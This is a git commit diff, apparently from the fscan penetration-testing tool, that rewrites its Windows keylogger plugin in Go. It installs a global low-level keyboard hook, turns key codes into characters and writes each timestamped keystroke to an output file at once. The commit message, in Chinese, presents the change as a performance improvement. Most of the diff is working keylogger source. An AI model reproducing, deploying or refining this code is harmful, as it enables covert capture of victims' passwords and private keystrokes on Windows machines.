perf: 优化Windows键盘记录性能和实时输出

- 重构键盘Hook架构,采用事件驱动模式降低系统影响
- 实现真正的实时文件写入,支持按键立即同步到磁盘
- 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应
- 使用非阻塞事件通道避免键盘Hook阻塞系统
- 简化键码转换逻辑,提升按键处理性能
- 解决文件输出延迟问题,支持键盘记录过程中实时查看
- 分离平台实现,Windows平台使用高效实时写入模式
This commit is contained in:
ZacharyZcR 2025-08-11 09:36:49 +08:00
parent c9d07ebd9b
commit 42522df80c
4 changed files with 193 additions and 175 deletions

View File

@ -5,6 +5,7 @@ package keylogger
import ( import (
"context" "context"
"fmt" "fmt"
"os"
"syscall" "syscall"
"time" "time"
"unsafe" "unsafe"
@ -12,6 +13,7 @@ import (
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
) )
// Windows API 声明
var ( var (
user32 = syscall.NewLazyDLL("user32.dll") user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll") kernel32 = syscall.NewLazyDLL("kernel32.dll")
@ -19,23 +21,14 @@ var (
procCallNextHookEx = user32.NewProc("CallNextHookEx") procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW") procGetMessage = user32.NewProc("GetMessageW")
procPeekMessage = user32.NewProc("PeekMessageW")
procTranslateMessage = user32.NewProc("TranslateMessage")
procDispatchMessage = user32.NewProc("DispatchMessageW")
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW") procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
procGetLastError = kernel32.NewProc("GetLastError") procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
procGetKeyState = user32.NewProc("GetKeyState")
procToUnicode = user32.NewProc("ToUnicode")
procGetKeyboardLayout = user32.NewProc("GetKeyboardLayout")
) )
const ( const (
WH_KEYBOARD_LL = 13 WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100 WM_KEYDOWN = 0x0100
WM_KEYUP = 0x0101
WM_SYSKEYDOWN = 0x0104 WM_SYSKEYDOWN = 0x0104
WM_SYSKEYUP = 0x0105
) )
type ( type (
@ -44,7 +37,6 @@ type (
LPARAM uintptr LPARAM uintptr
LRESULT uintptr LRESULT uintptr
HANDLE uintptr HANDLE uintptr
HINSTANCE HANDLE
HHOOK HANDLE HHOOK HANDLE
HWND HANDLE HWND HANDLE
) )
@ -70,122 +62,109 @@ type KBDLLHOOKSTRUCT struct {
DwExtraInfo uintptr DwExtraInfo uintptr
} }
// 全局变量 - 简化版本
var ( var (
windowsHook HHOOK windowsHook HHOOK
keylogger *KeyloggerPlugin keylogger *KeyloggerPlugin
logFile *os.File
eventChannel chan KeyboardEvent
stopHookChan chan bool
) )
// checkWindowsRequirements 检查Windows特定要求 // KeyboardEvent 键盘事件结构模仿gohook的设计
func (p *KeyloggerPlugin) checkWindowsRequirements() error { type KeyboardEvent struct {
// 检查是否为管理员权限 Kind EventKind
// Windows键盘Hook通常需要管理员权限 Rawcode uint16
common.LogInfo("检查Windows键盘记录权限...") Keychar string
return nil Timestamp time.Time
} }
// startWindowsKeylogging 启动Windows键盘记录 type EventKind int
const (
KeyDown EventKind = iota
KeyUp
)
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
common.LogInfo("启动Windows键盘记录...") common.LogInfo("启动Windows键盘记录 (高效版本)...")
keylogger = p keylogger = p
// 安装低级键盘Hook // 创建事件通道模仿gohook的设计
hook, err := p.installKeyboardHook() eventChannel = make(chan KeyboardEvent, 100)
if err != nil { stopHookChan = make(chan bool, 1)
return fmt.Errorf("安装键盘Hook失败: %v", err)
}
windowsHook = hook // 打开日志文件进行实时写入
var err error
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
}
defer func() { defer func() {
common.LogInfo("Windows键盘记录清理Hook...") if logFile != nil {
p.uninstallKeyboardHook(hook) logFile.Close()
keylogger = nil logFile = nil
}
}() }()
// 消息循环 // 写入文件头部
return p.messageLoop(ctx) p.writeLogHeader()
// 启动Hook监听在独立goroutine中
go p.startKeyboardHook()
// 启动事件处理模仿你的for ev := range evChan的模式
return p.processEvents(ctx)
} }
// installKeyboardHook 安装键盘Hook // startKeyboardHook 启动键盘Hook监听
func (p *KeyloggerPlugin) installKeyboardHook() (HHOOK, error) { func (p *KeyloggerPlugin) startKeyboardHook() {
hookProc := syscall.NewCallback(lowLevelKeyboardProc) // 安装Hook
hookProc := syscall.NewCallback(keyboardHookProc)
// 获取当前模块句柄
moduleHandle, _, _ := procGetModuleHandle.Call(0) moduleHandle, _, _ := procGetModuleHandle.Call(0)
hook, _, _ := procSetWindowsHookEx.Call( hook, _, _ := procSetWindowsHookEx.Call(
uintptr(WH_KEYBOARD_LL), uintptr(WH_KEYBOARD_LL),
hookProc, hookProc,
moduleHandle, // 使用当前模块句柄 moduleHandle,
0, // dwThreadId - 0表示全局Hook 0,
) )
if hook == 0 { if hook == 0 {
lastError, _, _ := procGetLastError.Call() common.LogError("安装键盘Hook失败")
return 0, fmt.Errorf("SetWindowsHookEx失败错误代码: %d", lastError) return
} }
common.LogInfo("Windows键盘Hook安装成功") windowsHook = HHOOK(hook)
return HHOOK(hook), nil common.LogInfo("键盘Hook安装成功")
}
// uninstallKeyboardHook 卸载键盘Hook
func (p *KeyloggerPlugin) uninstallKeyboardHook(hook HHOOK) {
if hook != 0 {
procUnhookWindowsHookEx.Call(uintptr(hook))
}
}
// messageLoop 消息循环
func (p *KeyloggerPlugin) messageLoop(ctx context.Context) error {
ticker := time.NewTicker(50 * time.Millisecond)
defer ticker.Stop()
// 消息循环
msg := &MSG{}
for { for {
select { select {
case <-ctx.Done(): case <-stopHookChan:
common.LogInfo("收到停止信号,退出键盘记录") // 清理Hook
return nil procUnhookWindowsHookEx.Call(uintptr(windowsHook))
case <-p.stopChan: common.LogInfo("键盘Hook已清理")
common.LogInfo("键盘记录已停止") return
return nil default:
case <-ticker.C: // 非阻塞消息处理
// 使用PeekMessage非阻塞检查消息 ret, _, _ := procGetMessage.Call(
msg := &MSG{}
ret, _, _ := procPeekMessage.Call(
uintptr(unsafe.Pointer(msg)), uintptr(unsafe.Pointer(msg)),
0, 0, 0, 0,
0,
0,
1, // PM_REMOVE - 移除消息
) )
if ret == 0 || ret == 0xFFFFFFFF {
if ret != 0 { break
// 有消息,处理它
procTranslateMessage.Call(uintptr(unsafe.Pointer(msg)))
procDispatchMessage.Call(uintptr(unsafe.Pointer(msg)))
} }
// 继续循环
} }
} }
} }
// lowLevelKeyboardProc 低级键盘Hook处理程序 // keyboardHookProc Hook回调函数 - 最高效版本
func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT { func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
if nCode >= 0 && keylogger != nil { // 立即调用下一个Hook确保系统响应
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
// 获取按键字符
keyChar := getKeyChar(kbdStruct.VkCode)
if keyChar != "" {
common.LogDebug(fmt.Sprintf("捕获按键: %s (VK: %d)", keyChar, kbdStruct.VkCode))
keylogger.addKeyToBuffer(keyChar)
}
}
}
// 调用下一个Hook
ret, _, _ := procCallNextHookEx.Call( ret, _, _ := procCallNextHookEx.Call(
uintptr(windowsHook), uintptr(windowsHook),
uintptr(nCode), uintptr(nCode),
@ -193,102 +172,130 @@ func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
uintptr(lParam), uintptr(lParam),
) )
return LRESULT(ret) // 快速处理我们的逻辑
} if nCode >= 0 && eventChannel != nil {
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
// getKeyChar 获取按键字符 kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
func getKeyChar(vkCode DWORD) string {
var keyName string // 非阻塞发送事件
select {
// 特殊按键处理 case eventChannel <- KeyboardEvent{
switch vkCode { Kind: KeyDown,
case 0x08: Rawcode: uint16(kbdStruct.VkCode),
keyName = "[Backspace]" Keychar: quickKeyChar(kbdStruct.VkCode),
case 0x09: Timestamp: time.Now(),
keyName = "[Tab]" }:
case 0x0D: default:
keyName = "[Enter]" // 通道满了就跳过,不阻塞系统
case 0x10:
keyName = "[Shift]"
case 0x11:
keyName = "[Ctrl]"
case 0x12:
keyName = "[Alt]"
case 0x1B:
keyName = "[Esc]"
case 0x20:
keyName = " " // 空格
case 0x25:
keyName = "[Left]"
case 0x26:
keyName = "[Up]"
case 0x27:
keyName = "[Right]"
case 0x28:
keyName = "[Down]"
case 0x2E:
keyName = "[Delete]"
default:
// 普通字符按键
if vkCode >= 0x30 && vkCode <= 0x39 { // 数字0-9
keyName = string(rune(vkCode))
} else if vkCode >= 0x41 && vkCode <= 0x5A { // 字母A-Z
keyName = string(rune(vkCode + 32)) // 转换为小写
} else if vkCode >= 0x60 && vkCode <= 0x69 { // 数字键盘0-9
keyName = string(rune(vkCode - 0x30))
} else {
// 尝试使用ToUnicode获取字符
keyName = toUnicodeString(vkCode)
if keyName == "" {
keyName = fmt.Sprintf("[VK_%d]", vkCode)
} }
} }
} }
return keyName return LRESULT(ret)
} }
// toUnicodeString 使用ToUnicode API获取按键字符 // processEvents 处理键盘事件 - 完全模仿你的设计
func toUnicodeString(vkCode DWORD) string { func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
var keyboardState [256]byte common.LogInfo("开始处理键盘事件...")
var unicodeBuffer [16]uint16
// 获取键盘布局 // 超时定时器
_, _, _ = procGetKeyboardLayout.Call(0) timeout := time.NewTimer(p.duration)
defer timeout.Stop()
// 调用ToUnicode // 完全模仿你的for ev := range evChan模式
ret, _, _ := procToUnicode.Call( for {
uintptr(vkCode), select {
0, // scanCode case <-ctx.Done():
uintptr(unsafe.Pointer(&keyboardState[0])), common.LogInfo("收到上下文取消信号,退出键盘记录")
uintptr(unsafe.Pointer(&unicodeBuffer[0])), stopHookChan <- true
16, return nil
0,
) case <-timeout.C:
common.LogInfo("键盘记录时间到达,退出记录")
if ret > 0 { stopHookChan <- true
return syscall.UTF16ToString(unicodeBuffer[:ret]) return nil
case ev := <-eventChannel:
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown
if ev.Kind == KeyDown && ev.Keychar != "" {
// 写入文件 - 完全模仿你的实时写入模式
fmt.Fprintf(logFile, "[%s] %s\n",
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
logFile.Sync() // 模仿你的f.Sync()
// 添加到内存缓冲区用于统计
p.bufferMutex.Lock()
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
p.bufferMutex.Unlock()
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
}
}
}
}
// writeLogHeader 写入日志文件头部
func (p *KeyloggerPlugin) writeLogHeader() {
if logFile == nil {
return
} }
return "" // 模仿你的日志格式
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
fmt.Fprintf(logFile, "记录时长: %v\n", p.duration)
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
fmt.Fprintf(logFile, "================================\n\n")
logFile.Sync()
}
// quickKeyChar 快速键码转字符(高度优化版本)
func quickKeyChar(vkCode DWORD) string {
switch {
case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9
return string(rune(vkCode))
case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z
return string(rune(vkCode + 32)) // 转小写
case vkCode == 0x20:
return " "
case vkCode == 0x0D:
return "[Enter]"
case vkCode == 0x08:
return "[Backspace]"
case vkCode == 0x09:
return "[Tab]"
case vkCode == 0x10:
return "[Shift]"
case vkCode == 0x11:
return "[Ctrl]"
case vkCode == 0x12:
return "[Alt]"
case vkCode == 0x1B:
return "[Esc]"
default:
return "" // 跳过其他按键,保持高性能
}
}
// checkWindowsRequirements 检查Windows特定要求
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
common.LogInfo("检查Windows键盘记录权限...")
return nil
}
// 其他平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("Linux平台请使用专门的实现")
}
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("Darwin平台请使用专门的实现")
} }
// checkLinuxRequirements 检查Linux特定要求Windows平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error { func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台") return fmt.Errorf("不支持的平台")
} }
// checkDarwinRequirements 检查Darwin特定要求Windows平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error { func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台") return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录Windows平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录Windows平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
} }

View File

@ -144,9 +144,13 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
return fmt.Errorf("键盘记录失败: %v", err) return fmt.Errorf("键盘记录失败: %v", err)
} }
// 保存记录的键盘输入到文件 // Windows平台已经实时写入文件其他平台保存到文件
if err := p.saveKeysToFile(); err != nil { if runtime.GOOS != "windows" {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) if err := p.saveKeysToFile(); err != nil {
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
}
} else {
common.LogInfo("Windows平台已实时写入文件无需再次保存")
} }
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer))) common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))

2
go.mod
View File

@ -17,6 +17,7 @@ require (
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
github.com/neo4j/neo4j-go-driver/v4 v4.4.7 github.com/neo4j/neo4j-go-driver/v4 v4.4.7
github.com/rabbitmq/amqp091-go v1.10.0 github.com/rabbitmq/amqp091-go v1.10.0
github.com/robotn/gohook v0.42.2
github.com/satori/go.uuid v1.2.0 github.com/satori/go.uuid v1.2.0
github.com/schollz/progressbar/v3 v3.13.1 github.com/schollz/progressbar/v3 v3.13.1
github.com/sijms/go-ora/v2 v2.5.29 github.com/sijms/go-ora/v2 v2.5.29
@ -71,6 +72,7 @@ require (
github.com/rivo/uniseg v0.4.7 // indirect github.com/rivo/uniseg v0.4.7 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect
github.com/stoewer/go-strcase v1.2.0 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect
github.com/vcaesar/keycode v0.10.1 // indirect
golang.org/x/term v0.27.0 // indirect golang.org/x/term v0.27.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/inf.v0 v0.9.1 // indirect
) )

5
go.sum
View File

@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=